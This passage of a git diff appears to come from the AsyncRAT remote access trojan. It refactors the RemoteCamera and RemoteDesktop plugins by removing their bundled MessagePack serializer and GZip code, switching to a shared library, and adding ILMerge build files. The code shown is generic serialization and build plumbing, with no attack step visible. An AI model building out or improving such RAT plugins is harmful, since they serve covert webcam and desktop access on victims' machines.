- byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Packet.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Packet.cs index 39fb49b..c02d669 100644 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Packet.cs +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Packet.cs @@ -1,6 +1,6 @@ using AForge.Video; using AForge.Video.DirectShow; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Diagnostics; using System.Drawing; diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/RemoteCamera.csproj b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/RemoteCamera.csproj index 5caca3e..363963f 100644 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/RemoteCamera.csproj +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/RemoteCamera.csproj @@ -1,5 +1,7 @@  + + Debug @@ -79,15 +81,31 @@ - - - - - - + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Zip.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/packages.config b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs index 514003d..7ff60cb 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/ILMerge.props b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // 